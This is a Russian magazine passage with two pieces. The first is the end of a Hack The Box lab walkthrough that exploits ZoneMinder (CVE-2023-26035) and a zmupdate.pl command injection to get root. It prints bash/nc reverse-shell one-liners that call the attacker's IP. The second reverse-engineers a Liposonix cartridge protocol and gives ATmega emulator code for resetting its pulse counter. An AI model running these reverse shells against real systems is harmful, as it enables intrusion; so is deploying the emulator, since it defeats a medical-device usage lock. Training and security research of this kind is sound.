Для опре деле ния алго рит ма хеширо вания мож но вос поль зовать ся ути литой
.hashid

Оп ределе ние алго рит ма хеширо вания

Са мый популяр ный из пред став ленных алго рит мов хеширо вания — это SHA-
256. Поп робовать най ти про образ хеша мож но в онлай новой базе

.md5decrypt.net

Ре зуль тат взло ма хеша

У нас есть пароль, теперь получим спи сок активных поль зовате лей из фай ла 

.

/
etc/passwd

Поль зовате ли с кон солью

С получен ными учет ными дан ными авто ризу емся по SSH от име ни поль- 
зовате ля .matthew

Флаг поль зовате ля

Ïîëüçîâàòåëü ZoneMinder
Те перь нам необ ходимо соб рать информа цию. Мест, где в Linux может ока- 
зать ся что-то инте рес ное, очень мно го, поэто му луч ше все го при менить авто- 
мати зацию. Я, как обыч но, вос поль зуюсь для это го скрип том из набора
PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание. В выводе будет мно го информа ции, поэто му ищем самое важ- 
ное.

Для локаль ного хос та открыт порт 8080, который отве чает за какой-то
веб-сер вис.

Ак тивные пор ты

Под робнее о том, что это за сайт, мы можем узнать из нас тро ек веб-сер вера
Nginx. Давай заг лянем в файл ./etc/nginx/sites-enabled

Нас трой ки Nginx

А в фай ле окру жения Craft  нашел ся пароль

от базы дан ных Craft.

/var/www/html/craft/.env

Со дер жимое фай ла .env

В исходном коде ZoneMinder при сутс тву ет пароль для базы дан ных —
.ZoneMinderPassword2023

Со дер жимое фай ла database.php

Пос коль ку ZoneMinder нас тро ен так, что бы обра щать ся к нему мож но было
толь ко с локаль ного хос та, для дос тупа нам пот ребу ется тун нелиро вать тра- 
фик. Сде лать это мож но при помощи :ssh

ssh matthew@surveillance.htb -L 8080:127.0.0.1:8080 

Та ким обра зом, весь тра фик, который мы пош лем на локаль ный порт 8080,
будет тун нелиро ван на порт 8080 ука зан ного хос та (в дан ном слу- 
чае 127.0.0.1) через SSH-хост. Теперь под клю чаем ся к пор ту.

Стра ница ZoneMinder

В исходном коде ZoneMinder мож но най ти вер сию сер виса.

cd /usr/share/zoneminder/www/api/app/Config 
 grep -iR version ./ 

Вер сия ZoneMinder

Уз нали вер сию про дук та — сра зу идем искать экс пло иты.

По иск экс пло итов для ZoneMinder в Google

Пер вая же ссыл ка ведет к  для уяз вимос ти CVE-2023-26035.
Текущая вер сия ZoneMinder неп равиль но про веря ет раз решения и парамет- 
ры через фун кцию , что мож но исполь зовать для уда лен ного

исполне ния кода без авто риза ции.

экс пло иту

shell_exec

Да вай для тес та под нимем веб-сер вер на Python:

python3 -m http.server 80 

А теперь через экс пло ит обра тим ся к нему с помощью .curl

 python3 poc.py --target http://127.0.0.1:8080/ --cmd 'curl 10.10.16.
121/test_rce'

Вы пол нение экс пло ита

Ло ги веб-сер вера

Ко ман да выпол няет ся успешно, и мы получа ем обра щение к нашему сер веру.
Зна чит, можем получить и реверс-шелл.

Об ратный шелл — это под клю чение, которое акти виру ет ата куемая машина,
а мы при нима ем и таким обра зом под клю чаем ся к ней, что бы выпол нять
коман ды от лица поль зовате ля, запус тивше го шелл. Для при ема соеди нения
необ ходимо соз дать на локаль ной машине listener, то есть «слу шатель».

За пус каем лис тенер:

pwncat-cs -lp 4321 

И через экс пло ит выпол няем однос троч ник на Bash, который и даст нам бэк- 
коннект.

 python3 poc.py --target http://127.0.0.1:8080/ --cmd 'rm /tmp/f; 
mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.16.121 4321 
>/tmp/f'

Сес сия поль зовате ля ZoneMinder

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Пол ную раз ведку в сис теме мы уже про води ли на пре дыду щем эта пе, поэто- 
му при сме не поль зовате ля нам нуж но переп роверить лишь нес коль ко мест.
Пер вое из них — нас трой ки sudoers.

 sudo -l

Нас трой ки sudoers

Файл  в Linux содер жит спис ки команд, которые раз ные груп пы
поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

Мы можем в при виле гиро ван ном кон тек сте запус кать какие-то скрип ты
на Perl, вхо дящие в ZoneMinder. Прос мотрим все скрип ты, удов летво ряющие
мас ке из коман ды в sudoers.

Скрип ты ZoneMinder

Файл  содер жит уяз вимость Command Injection. Она воз можна

из-за неп равиль ной обра бот ки переда ваемо го скрип ту име ни поль зовате ля
в парамет ре . Получен ная стро ка будет без обра бот ки встав лена
в коман ду .

zmupdate.pl

--user
mysql

Ис ходный код zmupdate.pl

Для про вер ки уяз вимос ти мож но выпол нить коман ду , а ее вывод записать
в файл.

id

1  sudo /usr/bin/zmupdate.pl --version= --user='$(id > /tmp/test_lpe)'
--pass=ZoneMinderPassword2023 

Про вер ка уяз вимос ти

Скрипт даже выводит коман ду , которую выпол няет. В фай ле при сутс- 

тву ет вывод нашей , а зна чит, мож но запус тить лис тенер и сра зу выпол нить
реверс-шелл.

mysql
id

1 

 

sudo /usr/bin/zmupdate.pl --version= --user='$(rm /tmp/f; mkfifo /
tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.16.121 5432 >/tmp/f)
' --pass=ZoneMinderPassword2023 

Флаг рута

Нам уда лось под клю чить ся от име ни рута, а зна чит, машина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
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https://nvd.nist.gov/vuln/detail/CVE-2023-41892
https://md5decrypt.net/en/Sha256/
https://github.com/carlospolop/PEASS-ng
https://github.com/heapbytes/CVE-2023-26035/tree/main
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ТРЮКИ

В этой статье я рас ска жу, как про исхо дит
реверс-инжи ниринг реаль ного медицин- 
ско го обо рудо вания. На при мере кар трид- 
жа для аппа рата Liposonix мы раз берем
базовые при емы обратной раз работ ки про- 
токо лов циф ровых устрой ств и пос мотрим,
как мож но под делать переда ваемые дан- 
ные. Ока залось, что ими тиро вать ори- 
гиналь ный кар тридж мож но при помощи
обыч ного мик рокон трол лера ATmega.

Кос метоло гичес кий аппа рат Liposonix пред назна чен для кор рекции фигуры
методом уль траз вуково го воз дей ствия. Эта про цеду ра, изна чаль но раз- 
работан ная аме рикан ской ком пани ей Solta Medical, широко рас простра- 
нилась в нашей стра не пос ле появ ления на рын ке отно ситель но дешевых
китай ских кло нов обо рудо вания. При этом само наз вание Liposonix ста ло
име нем нарица тель ным и для про цеду ры, и для аппа ратов такого типа.

С одним из китай ских кло нов Liposonix мы сегод ня и будем работать. Он
осна щает ся сен сорным экра ном, нуж ным для задания парамет ров про цеду- 
ры, и манипу лято ром с кноп кой акти вации, к которо му под соеди няет ся смен- 
ный кар тридж.

Фо то со стра ницы одно го из про дав цов на китай ском мар кет плей се

Кар тридж, в свою оче редь, содер жит уль траз вуковой излу чатель, гер метич- 
ный, запол ненный жид костью резер вуар из упру гого матери ала, игра ющий
роль лин зы, и пла ту с чипом. С ней-то мы и будем работать в этой статье.

Кар трид жи раз лича ются некой «глу биной», которая может варь иро вать ся
от 0,6 до 1,8 см. Пос коль ку я не кос метолог, не могу объ яснить, что имен но
под этим под разуме вает ся, могу лишь пред положить, что кар трид жи с раз ной
глу биной име ют раз ную кон фигура цию лин зы.

Как мож но понять из конс трук ции, никаких рас ходу емых матери алов в кар- 
трид же нет. В теории кар тридж работос пособен до тех пор, пока не вый дет
из строя излу чатель, одна ко про изво дитель не упус тил воз можность реали- 
зовать модель цено обра зова ния , всем нам извес тную
по собс твен но брит вам и кар трид жам для прин теров. Помимо зна чения глу- 
бины, чип кар трид жа содер жит так же счет чик импуль сов. По мере работы
импуль сы рас ходу ются, и, ког да они кон чатся, аппа рат заб локиру ется.

брит ва — лез вие

При под соеди нении нового кар трид жа аппа рат счи тыва ет парамет ры
и отоб ража ет их на сво ем дис плее: глу бина, общее чис ло импуль сов
(емкость кар трид жа) и их дос тупный оста ток. Итак, наша задача — най ти спо- 
соб пов торно го исполь зования кар трид жей, исчерпав ших свой счет чик.

ÎÑÌÎÒÐ

Лю бое иссле дова ние начина ется с осмотра. Извле каем пла ту с чипом из кар- 
трид жа и вни матель но изу чаем на пред мет мар кировок, логоти пов и все го
про чего, что мож но вбить в Google. К сожале нию, в нашем слу чае никаких
полез ных над писей обна ружить не уда лось.

Сам чип — мик росхе ма в кор пусе SO-8, повер хность затер та абра зивом
для уда ления завод ских мар кировок. Тем не менее кон так тные пло щад ки пла- 
ты под писаны: 5V, GND, SCL, SDA. Воору жив шись каран дашом и муль тимет- 
ром, вос ста новим схе му, бла го она — про ще некуда.

Схе ма вклю чения (под тяжка линий дан ных к питанию резис торами R1 и R2)
ука зыва ет на то, что по умол чанию линии находят ся в высоком сос тоянии (idle
high). Это наб людение наряду с сок ращени ями SCL и SDA с ходу намека ет
нам на интерфейс .I2C

Ши роко рас простра нен ные мик росхе мы памяти EEPROM серии 24 как раз
работа ют по I2C! Нес лучай ное сов падение? Впро чем, пос мотрев на пер вый
попав ший ся даташит этой серии ( ), видим отли чие в рас положе нии
выводов: у нашей мик росхе мы питание пода ется на вто рой вывод, а у 24-й
серии — на вось мой.

PDF

По пыта ем счастья, под клю чив прог рамма тор, но мик росхе ма, увы,
не чита ется. Поиск в катало гах дру гих мик росхем памяти, работа ющих по I2C,
с под ходящим рас положе нием выводов так же ни к чему не при вел. Что ж,
ожи даемо: учи тывая, сколь ко сущес тву ет элек трон ных ком понен тов, такая
идея сле пого перебо ра вруч ную изна чаль но не осо бен но жиз неспо соб на.

От бро сив ока зав шееся тупико вым пред положе ние, вос поль зуем ся дру гим
методом ана лиза: перех ватим обмен дан ными меж ду кар трид жем и аппа- 
ратом.

ÏÅÐÅÕÂÀÒ ÄÀÍÍÛÕ

С этой опе раци ей нам поможет  — устрой ство,
записы вающее и отоб ража ющее циф ровые сиг налы. Ана лиза торов сущес тву- 
ет великое мно жес тво, но за пре дела ми про фес сиональ ных лабора торий,
в сре де энту зиас тов весь ма популяр ны USB-ана лиза торы аме рикан ской фир- 
мы Saleae. Цены на фир менные устрой ства начина ются с 500 дол ларов,
одна ко, вбив наз вание про изво дите ля в поиск на любом мар кет плей се, уви- 
дим мно жес тво недоро гих копий.

ло гичес кий ана лиза тор

При этом прог рамму ана лиза сиг налов (Logic) мож но ска чивать с сай та
Saleae без каких-либо огра ниче ний. Сей час дос тупна Logic 2, одна ко, на мой
взгляд,  работа ет быс трее и ста биль нее. Прог рамма пор татив- 
ная, не тре бует уста нов ки; драй веры устрой ства находят ся в том же архи ве
вмес те с прог раммой.

пер вая вер сия

Под клю чим вхо ды ана лиза тора к кон тактам SCL и SDA. Не забудем соеди- 
нить зем лю иссле дуемой пла ты с зем лей ана лиза тора через соот ветс тву- 
ющий вывод, ина че ничего не зарабо тает. Под соеди няем ана лиза тор
к компь юте ру, а пла ту кар трид жа — к разъ ему в манипу лято ре аппа рата. Пос- 
ле это го, запус тив Logic, нажима ем боль шую зеленую кноп ку Start и вклю чаем
питание аппа рата.

Раз ность потен циалов на шинах дан ных, накоп ленный ста тичес кий заряд
и кри вая элек троп ровод ка в помеще нии могут при водить к нежела тель ным
эффектам при под клю чении устрой ств: от появ ления фан томных сиг налов,
шумов и наводок вплоть до выгора ния ком понен тов. Ста рай ся при дер живать- 
ся как минимум этих базовых пра вил:

Убе дись, что кон такты зазем ления во всех розет ках име ют оди нако вый
потен циал, а еще луч ше — под клю чай компь ютер, иссле дуемое устрой- 
ство и изме ритель ные при боры в одну розет ку через удли нитель.

•

Сна чала соеди ни все схем ные зем ли устрой ств и толь ко потом под клю- 
чай ся к лини ям дан ных. Обес печь надеж ное соеди нение меж ду зем лями,
кон такт не дол жен отва ливать ся при работе.

•

До того как все зем ли надеж но соеди нены, все устрой ства дол жны быть
вык лючены (либо вклю чено толь ко одно из них — обыч но это компь ютер),
схем ная зем ля USB соеди нена с его кор пусом, а кор пус — с зазем лени ем
в розет ке питания. Вклю чай устрой ства толь ко пос ле того, как объ еди нил
их зем ли.

•

Оп ределись, что отку да пита ется, и не соеди няй лиш ние линии питания.
В таком слу чае иссле дуемая схе ма будет запита на от аппа рата, и под клю- 
чать к ней +5В от пор та USB, выведен ные на разъ ем ана лиза тора, не сле- 
дует.

•

В Logic видим вклю чение питания: обе линии дан ных перек люча ются
в высокий уро вень. Через четыре секун ды пос ле подачи питания замеча ем
некото рую активность на одном из каналов.

Приб лизив изоб ражение, отчетли во видим, что обна ружен ная нами
активность — не что иное, как переда ча дан ных.

Пос ле пер вой посыл ки дан ных ничего не про исхо дит. Но, если мы наж мем
на кноп ку манипу лято ра, уль траз вуковой излу чатель акти виру ется и счет чик
импуль сов умень шит ся. Одновре мен но мы уви дим обмен на лини ях дан ных.
Можем пов торить нажатия, что бы убе дить ся в пов торя емос ти резуль татов.

ÄÅÊÎÄÈÐÎÂÀÍÈÅ ÄÀÍÍÛÕ

По дыто жим соб ранную информа цию. Учи тывая логику работы устрой ства, мы
понима ем, что обмен дан ными дол жен быть . В самом

деле, не толь ко кар тридж дол жен каким-то обра зом переда вать информа цию
в устрой ство, но и устрой ство дол жно сооб щать кар трид жу о необ ходимос ти
дек ремен та счет чика при нажатии кноп ки на манипу лято ре. Это под твержда- 
ется и нашими наб людени ями.

äâó íàï ðàâëåí íûé

Мы можем заметить, что обмен дан ными ведет ся в 

режиме: в один момент активна толь ко одна линия дан ных, вто рая в это вре мя
находит ся в сос тоянии по умол чанию (прос таивает). В том чис ле мы видим
отсутс твие внеш него так тового сиг нала, то есть интерфейс .

ïî ëóäóï ëåê ñíîì
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От метим и то, что каж дая линия переда ет дан ные толь ко в одном нап- 
равле нии: дан ные от кар трид жа к аппа рату переда ются по одной, а от аппа- 
рата к кар трид жу — по дру гой. Наконец, мы видим, что сос тояние линии
по умол чанию — высокий уро вень.

Итак, это не I2C, как мы изна чаль но пред положи ли по обоз начени ям кон- 
тактов, ведь в этом слу чае мы видели бы импуль сы так тирова ния на одной
линии и дан ные на дру гой. Зато нашим наб людени ям в пол ной мере соот- 
ветс тву ет пос ледова тель ный интерфейс . Он как раз асин хрон ный
и исполь зует две линии, одну на при ем (RX), дру гую на переда чу (TX).

UART

В интерфей се UART высокий уро вень линии дан ных озна чает 1, низ- 
кий 0 и по умол чанию линии находят ся в высоком сос тоянии. Переда ча дан- 
ных начина ется перек лючени ем линии в низ кий уро вень — это стар товый бит,
всег да рав ный нулю. Затем пооче ред но переда ются все биты дан ных,
которых обыч но от 5 до 9. За ними опци ональ но сле дует бит чет ности,
исполь зуемый для кон тро ля целос тнос ти дан ных. Завер шает посыл ку
стоп-бит (опци ональ но их может быть два или даже пол тора). Все вмес те эти
биты обра зуют фрейм — еди ницу переда чи дан ных по интерфей су.

Что бы пра виль но декоди ровать дан ные, нам нуж но знать кон фигура цию
фрей ма: чис ло битов дан ных, наличие бита чет ности, чис ло стоп-битов. Мы
не зна ем этих дан ных наперед, и их при дет ся уга дывать. Общепри нята кон- 
фигура ция 8N1, что озна чает 8 бит дан ных, нет бита чет ности, один стоп-бит.
С нее и нач нем.

Кро ме того, необ ходимо знать ско рость переда чи дан ных. К счастью, ее
мы можем вычис лить без осо бого тру да. Прог рамма ана лиза тора поз воля ет
нам изме рить дли тель ность одно го импуль са на линии дан ных. В нашем слу- 
чае она сос тавля ет 0,1045 мс. Пос коль ку один импульс — один бит, количес- 
тво импуль сов в секун де и будет иско мой ско ростью: 1000/0,1045 ≈
9600 Кбит/с.

Таб личка с обще упот ребитель ными ско рос тями
переда чи и соот ветс тву ющи ми дли тель нос тями
бита

Не пережи вай, нам не пот ребу ется под счи тывать импуль сы вруч ную, перево- 
дя их в биты. У Logic есть боль шой набор встро енных ана лиза торов, поз воля- 
ющих декоди ровать дан ные. Добавим ана лиза тор пос ледова тель ного
интерфей са под наз вани ем Async Serial и зададим для него вычис ленную ско- 
рость 9600 Кбит/с, а осталь ные парамет ры пока оста вим по умол чанию.

Нам повез ло, прог рамма не сооб щила об ошиб ках декоди рова ния, и мы
можем видеть все передан ные зна чения.

Под клю чая кар трид жи с раз ной глу биной, общим чис лом и остатком импуль- 
сов, соберем дан ные, отправ ляемые при подаче питания на кар тридж и при
нажатии на кноп ки манипу лято ра, а затем декоди руем получен ную информа- 
цию. Резуль тат для удобс тва све дем в таб лицу Excel.

ÈÍÒÅÐÏÐÅÒÈÐÓÅÌ ÄÀÍÍÛÅ

Да вай про ана лизи руем соб ранные дан ные. Как видим, обмен осу щест вля- 
ется пакета ми по 12 байт. Пер вые два стол бца содер жат зна чения бай тов
пакета, отправ ляемо го кар трид жем пос ле подачи питания (назовем такие
пакеты ини циали заци онны ми). Стол бец B содер жит пакет, отправ ленный кар- 
трид жем с глу биной 0,8 см, емкостью 526 импуль сов и остатком в 1 импульс.
Стол бец C содер жит пакет, отправ ленный кар трид жем с глу биной 1,3 см,
емкостью 526 импуль сов и остатком в 525 импуль сов. Стол бец E — пакет,
отправ ляемый аппа ратом в кар тридж при спи сании одно го импуль са.
Наконец, стол бец G — ответ кар трид жа аппа рату пос ле дек ремен та счет чика
импуль сов.

В каж дом пакете мож но выделить неиз менные голов ную (два бай та: 170,
12) и хвос товую (три бай та: 12, 204, 51) час ти. Кро ме того, некото рые бай ты
в середи не пакета тоже никог да не меня ют сво их зна чений. Для наг ляднос ти
неиз менные час ти пакетов я выделил зеленым.

Тип пакета опре деля ется зна чени ем его треть его бай та. Ини циали заци- 
онные пакеты несут зна чение 70 в треть ем бай те, коман да аппа рата на дек- 
ремент счет чика импуль сов — 67 и ответ кар трид жа пос ле ее исполне ния —
69. Нес ложно заметить, что два пос ледних иден тичны, кро ме собс твен но
треть его бай та.

Зна чение пятого бай та соот ветс тву ет глу бине кар трид жа в мил лимет рах.
А вот с емкостью и счет чиком нем ного слож нее. Пер вый кар тридж име ет
оста ток 1, а вто рой — 525. Соот ветс тву ющие стол бцы отли чают ся толь ко
парой бай тов: вось мым и девятым. Соот ветс твен но, имен но они хра нят оста- 
ток счет чика. Можем пред положить, что общая емкость кар трид жа —
это шес той и седь мой бай ты. Но почему зна чения 2 и 14 дают 526?

Как извес тно, один байт может при нимать зна чения от –128 до 127 (или
от 0 до 255 для без зна ковых чисел). У наших кар трид жей емкость 526 импуль- 
сов, и для сох ранения это го зна чения пот ребу ется два бай та, каж дый
из которых будет нес ти «половин ку чис ла». Один из них будет стар шим, вто- 
рой — млад шим.

На при мере пер вого кар трид жа, где оста ток 1, мы можем видеть, что стар- 
ший байт в пакете идет перед млад шим. Это называ ется «порядок от стар- 
шего к млад шему» (big-endian). Для удобс тва переве дем в шес тнад цатерич- 
ную сис тему и про верим на каль кулято ре: дей стви тель но, (020E)  = (526) ,

(020D)  = (525) , ну и, разуме ется, (0001)  = (1) .
16 10

16 10 16 10

Те перь мы зна ем все необ ходимое для соз дания собс твен ного чипа,
который смо жет ими тиро вать поведе ние ори гиналь ного, а мы смо жем
«записать» в него такую емкость, какую пожела ем.

Продолжение статьи →

https://nesrakonk.ru/razor-razorblademodel/
https://ru.wikipedia.org/wiki/I%C2%B2C
https://ww1.microchip.com/downloads/en/devicedoc/21061h.pdf
https://ru.wikipedia.org/wiki/%D0%9B%D0%BE%D0%B3%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D0%B0%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7%D0%B0%D1%82%D0%BE%D1%80
https://support.saleae.com/logic-software/legacy-software/older-software-releases#logic-1-x-download-links
https://www.labcenter.com/blog/sim-uart/
https://lucidar.me/en/serialib/most-used-baud-rates-table/


РЕВЕРСИМ КАРТРИДЖ LIPOSONIX
И ПИШЕМ ЕГО ЭМУЛЯТОР

ТРЮКИ  НАЧАЛО СТАТЬИ←

ÏÈØÅÌ ÝÌÓËßÒÎÐ

Для соз дания эму лято ра я выб рал ATmega168 — прос то потому, что у меня
нашел ся лиш ний экзем пляр. Конеч но, для столь прос той задачи этот мик- 
рокон трол лер избы точен и луч ше выб рать что помень ше (но желатель но
с аппа рат ным U(S)ART, что бы не писать прог рам мную его реали зацию).

USART — это UART, работа ющий в син хрон ном
режиме. В этом слу чае добав ляет ся отдель ная
линия дан ных, несущая сиг нал так тирова ния
для син хро низа ции при емни ка и передат чика, что
поз воля ет под нять ско рость переда чи. Как пра- 
вило, USART спо собен работать и асин хрон но,
как UART, но не наобо рот.

Оп ределим алго ритм работы нашего эму лято ра. Хра нить глу бину, емкость
и текущее зна чение счет чика будем в EEPROM мик рокон трол лера. Пос ле
вклю чения МК счи тыва ет эти парамет ры, фор миру ет и переда ет через UART
ини циали заци онный пакет.

Дан ные, при нятые через UART, скла дыва ются в буфер. В основном цик ле
МК ищет в буфере вхо дящую коман ду (пакет дли ной 12 байт со зна чени ем
треть его по сче ту бай та рав ным 67). Если она най дена, зна чение счет чика
уста нав лива ется таким, какое ука зано в при нятом пакете, и записы вает ся
в EEPROM, пос ле чего воз вра щает ся пакет-ответ (иден тичен вхо дящей
коман де, кро ме треть его бай та).

Под клю чим необ ходимые заголов ки:

#include <util/atomic.h>
#include <avr/eeprom.h>

Оп ределим коды воз вра та фун кций:

#define ERR (-1)
#define OK  0

Оп ределим фун кции работы с UART. Сра зу ого ворюсь, мы не будем сей час
рас смат ривать их реали зацию, пос коль ку это выходит за рам ки статьи.
Готовые при меры работы с UART и коль цевым буфером ты най дешь самос- 
тоятель но или можешь пос мотреть  на GitHub.мою реали зацию

/*
* Отправка отдельного байта через UART.
* Возвращает ERR, если буфер отправки полон.
*/

  int8_t uart_send_byte(uint8_t value);

/*
* Возвращает число байтов, содержащихся в приемном буфере.
*/

 uint8_t uart_get_rx_data_length(void);

/*
* Удаляет один байт из приемного буфера и возвращает
* его значение или '\0', если буфер пуст.
*/

 uint8_t uart_read_byte(void);

Во избе жание  в коде опре делим зна чения, которы ми будем
опе риро вать:

ма гичес ких чисел

// Размер пакета данных
#define PACKET_LENGTH   12

// Значение первого байта в заголовке пакета
#define PACK_HEAD1      170
// Значение второго байта в заголовке пакета
#define PACK_HEAD2      12

// Тип пакета: инициализационный
#define CMD_INIT        70
// Тип пакета: команда декремента
#define CMD_DECR        67
// Тип пакета: ответ на команду
#define CMD_RESP        69

// Индекс байта, определяющего тип пакета
#define INDEX_OF_CMD    2
// Индекс байта, хранящего значение глубины
#define INDEX_OF_DEPTH  4
// Индекс старшего байта значения емкости
#define INDEX_OF_TOTLH  5
// Индекс младшего байта значения емкости
#define INDEX_OF_TOTLL  6
// Индекс старшего байта значения счетчика
#define INDEX_OF_REMNH  7
// Индекс младшего байта значения счетчика
#define INDEX_OF_REMNL  8

Дан ные кар трид жа будем хра нить в виде струк туры. В нее запишем зна чения,
получа емые из EEPROM и записы ваемые в него, а так же получа емые от аппа- 
рата в теле пакета, который сиг нализи рует о необ ходимос ти умень шить счет- 
чик. Так же опре делим зна чения по умол чанию, которые будут прис воены
полям струк туры при пер вом вклю чении кар трид жа, ког да в EEPROM
еще ничего не записы валось:

// Начальные параметры:
// глубина
#define DEFAULT_DEPTH   120
// емкость
#define DEFAULT_TOTL    526
// остаток
#define DEFAULT_REMN    526

  typedef struct {
    uint8_t depth;
    uint16_t total;
    uint16_t remaining;
 } parameters_t;

Зна чения бай тов пакета будем хра нить в мас сиве. Пос коль ку мы работа ем
в полудуп лек сном режиме, то впол не можем исполь зовать один и тот же мас- 
сив и для при нима емых, и для переда ваемых пакетов. Ини циали зиру ем мас-
сив зна чени ями соот ветс твен но содер жанию пакета ори гиналь ного кар трид- 
жа:

   uint8_t packet[PACKET_LENGTH] = {
             
 

PACK_HEAD1, PACK_HEAD2, CMD_INIT, 101, 130, 2, 14, 2, 14, 12, 204
, 51
};

Нам понадо бит ся нес коль ко вспо мога тель ных фун кций. Во-пер вых, нуж на
фун кция, которая прис воит зна чения бай там пакета в соот ветс твии с дан- 
ными, находя щими ся в нашей струк туре . Обра ти вни мание на раз- 
деление одно го двух бай тового зна чения на стар ший и млад ший байт. Пре- 
обра зова ние зна чения при водит к отбра сыва нию стар шего бай та, поэто му
для получе ния млад шего мы прос то выпол няем пре обра зова ние, а для
получе ния стар шего спер ва выпол няем сдвиг впра во на один байт, что бы
биты стар шего бай та вста ли на мес то млад шего.

params

      
 

static inline void update_packet_from_params(uint8_t* packet, const
parameters_t* params){
     packet[INDEX_OF_DEPTH] = params->depth;
     packet[INDEX_OF_REMNH] = (uint8_t)(params->remaining>>8);
     packet[INDEX_OF_REMNL] = (uint8_t)params->remaining;
     packet[INDEX_OF_TOTLH] = (uint8_t)(params->total>>8);
     packet[INDEX_OF_TOTLL] = (uint8_t)params->total;
}

Еще нам понадо бит ся фун кция отправ ки пакета через UART:

     static inline void send_packet(const uint8_t* packet){
       for (int i=0; i<PACKET_LENGTH; i++){
       uart_send_byte(packet[i]);
   }
}

Фун кция поис ка вхо дящей коман ды про веря ет дан ные в при емном буфере
UART и, если там дей стви тель но содер жится коман да, копиру ет ее в мас сив

 и воз вра щает . В про тив ном слу чае воз вра щает ся .packet OK ERR

    static inline int8_t get_command(uint8_t* packet){
   // Если в приемном буфере UART достаточно данных,
   // проверим наличие заголовка пакета и в случае
   // успеха скопируем содержимое пакета из буфера
   // в массив packet
      while (uart_get_rx_data_length() >= PACKET_LENGTH){

          int index = 0;
           if (uart_read_byte() != PACK_HEAD1) continue;

       index++;
           if (uart_read_byte() != PACK_HEAD2) continue;

       index++;
          while (index < PACKET_LENGTH){

             packet[index++] = uart_read_byte();
       }

        return OK;
   }
    return ERR;
}

На конец, фун кции чте ния и записи EEPROM. При чте нии дан ные из EEPROM
помеща ем в струк туру , а при записи, наобо рот, сох раня ем зна чения

этой струк туры в EEPROM.

params

#define  EE_SETTINGS_ADDR 10

    static inline void mem_read_params(parameters_t* params){
   ATOMIC_BLOCK(ATOMIC_RESTORESTATE){

  
 

       eeprom_read_block((void*)params, (const void*)
EE_SETTINGS_ADDR, sizeof(parameters_t));
   }
   // Если в EEPROM пусто, использовать значения по умолчанию
          
 

if ((params->depth == 0xFF)||(params->depth == 0)) params->depth
= DEFAULT_DEPTH;
         if (params->remaining == 0xFFFF) params->remaining = DEFAULT_REMN
;
         if (params->total == 0xFFFF) params->total = DEFAULT_TOTL;
}

     static inline void mem_write_params(const parameters_t* params){
   ATOMIC_BLOCK(ATOMIC_RESTORESTATE){

  
 

       eeprom_update_block((const void*)params, (void*)
EE_SETTINGS_ADDR, sizeof(parameters_t));
   }
}

В основном цик ле прог раммы готовим и бес конеч но опра шива ем буфер.
Ког да в буфере появит ся вхо дящая коман да — выпол ним ее, сох раним дан- 
ные в память и отпра вим ответ.

// Скорость 9600 Кбит/с (магическое значение берем из документации)
#define BAUDRATE 103

 int main(void)
{
      uint8_t packet[PACKET_LENGTH] = {

          
 

       PACK_HEAD1, PACK_HEAD2, CMD_INIT, 101, 130, 2, 14, 2, 14, 12,
204, 51
   };
    parameters_t params;
   // Инициализация UART c заданной скоростью
     UBRR0 = BAUDRATE;
   // Асинхронный режим
     UCSR0A = _BV(U2X0);
   // Включить приемник и передатчик,
   // включить прерывание по завершении приема
     UCSR0B = _BV(TXEN0)|_BV(RXEN0)|_BV(RXCIE0);
   // Фрейм 8N1
     UCSR0C = _BV(UCSZ00)|_BV(UCSZ01);
   // Включить Idle mode
     SMCR = _BV(SE);
   // Читаем параметры из EEPROM
   mem_read_params(&params);
   // Присваиваем байтам пакета соответствующие значения
    update_packet_from_params(packet, &params);
   // Разрешаем прерывания
   sei();
   // Отправляем инициализационный пакет
   send_packet(packet);
   // Ждем входящую команду
   while(1){

          if (get_command(packet) == OK){
           // Принят пакет, проверим третий байт — команда ли это

               if (packet[INDEX_OF_CMD] != CMD_DECR) continue;
           // Все в порядке, выполняем:
           // собираем новое значение счетчика из старшего и 
младшего байтов

                uint16_t newval = (uint16_t)(packet[INDEX_OF_REMNH]<<8) +
packet[INDEX_OF_REMNL];
           // Счетчик работает только на уменьшение

               if (newval >= params.remaining) continue;
           // Обновляем значение счетчика

             params.remaining = newval;
            update_packet_from_params(packet, &params);

           mem_write_params(&params);
           // Отправляем ответный пакет

             packet[INDEX_OF_CMD] = CMD_RESP;
           send_packet(packet);
       }
       // Спим до возникновения прерывания
       asm("sleep");
   }
}

Для про вер ки наб роса ем прос тень кую схем ку в Proteus.

Пос ле вклю чения видим в тер минале пакет, содер жащий задан ные нами зна- 
чения по умол чанию. Можем под клю чить ся к вир туаль ному COM-пор ту любой
прог раммой-тер миналом, отпра вить коман ду на умень шение счет чика и про- 
верить ответ.

Для соеди нения двух COM-пор тов исполь зует ся
нуль-модем ный кабель, под клю чающий RX одно- 
го пор та к TX дру гого и наобо рот. Пос коль ку мы
име ем дело с вир туаль ным пор том в Proteus,
нуль-модем ный кабель тоже пот ребу ется вир- 
туаль ный — .com0com

ÊÀÊ ÇÀÙÈÒÈÒÜÑß

Пред ста вим себя раз работ чиком подоб ной сис темы. Как бы мы мог ли
защитить ся от под клю чения под дель ных ком понен тов?

На физичес ком уров не раз работ чики в таких слу чаях обыч но исполь зуют
нес тандар тные кон фигура ции при емо пере дат чиков. Нап ример, зада ют про- 
изволь ные зна чения ско рос ти переда чи, количес тва битов дан ных в фрей ме,
добав ляют допол нитель ные биты чет ности или кон троль ной сум мы. Может
быть инверти рован сиг нал (вмес то высоко го уров ня линии исполь зовать ся
низ кий и наобо рот) или сдви нуты физичес кие уров ни (величи ны нап ряжений
